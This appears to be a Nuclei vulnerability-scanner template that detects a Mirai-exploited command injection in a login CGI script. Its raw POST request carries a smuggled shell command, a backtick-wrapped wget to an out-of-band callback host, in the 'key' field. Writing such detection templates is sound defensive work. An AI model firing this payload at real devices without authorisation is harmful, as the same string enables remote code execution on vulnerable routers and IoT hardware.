id: mirai-unknown-rce

info:
  name: Mirai - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Mirai is susceptible to an unknown exploit that targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection vulnerability.
  reference:
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: mirai,rce,oast

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        key=';`wget http://{{interactsh-url}}`;#

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a004630440220580a8a8a49c4f1f4819366fb869d1c777e0eea324bd72ed5f8f36791634007de02205aac3286648907afeca3af36c57fa9b63de0233f8ea423794bb12fb9560cd8b9:922c64590222798bb761d5b6d8e72950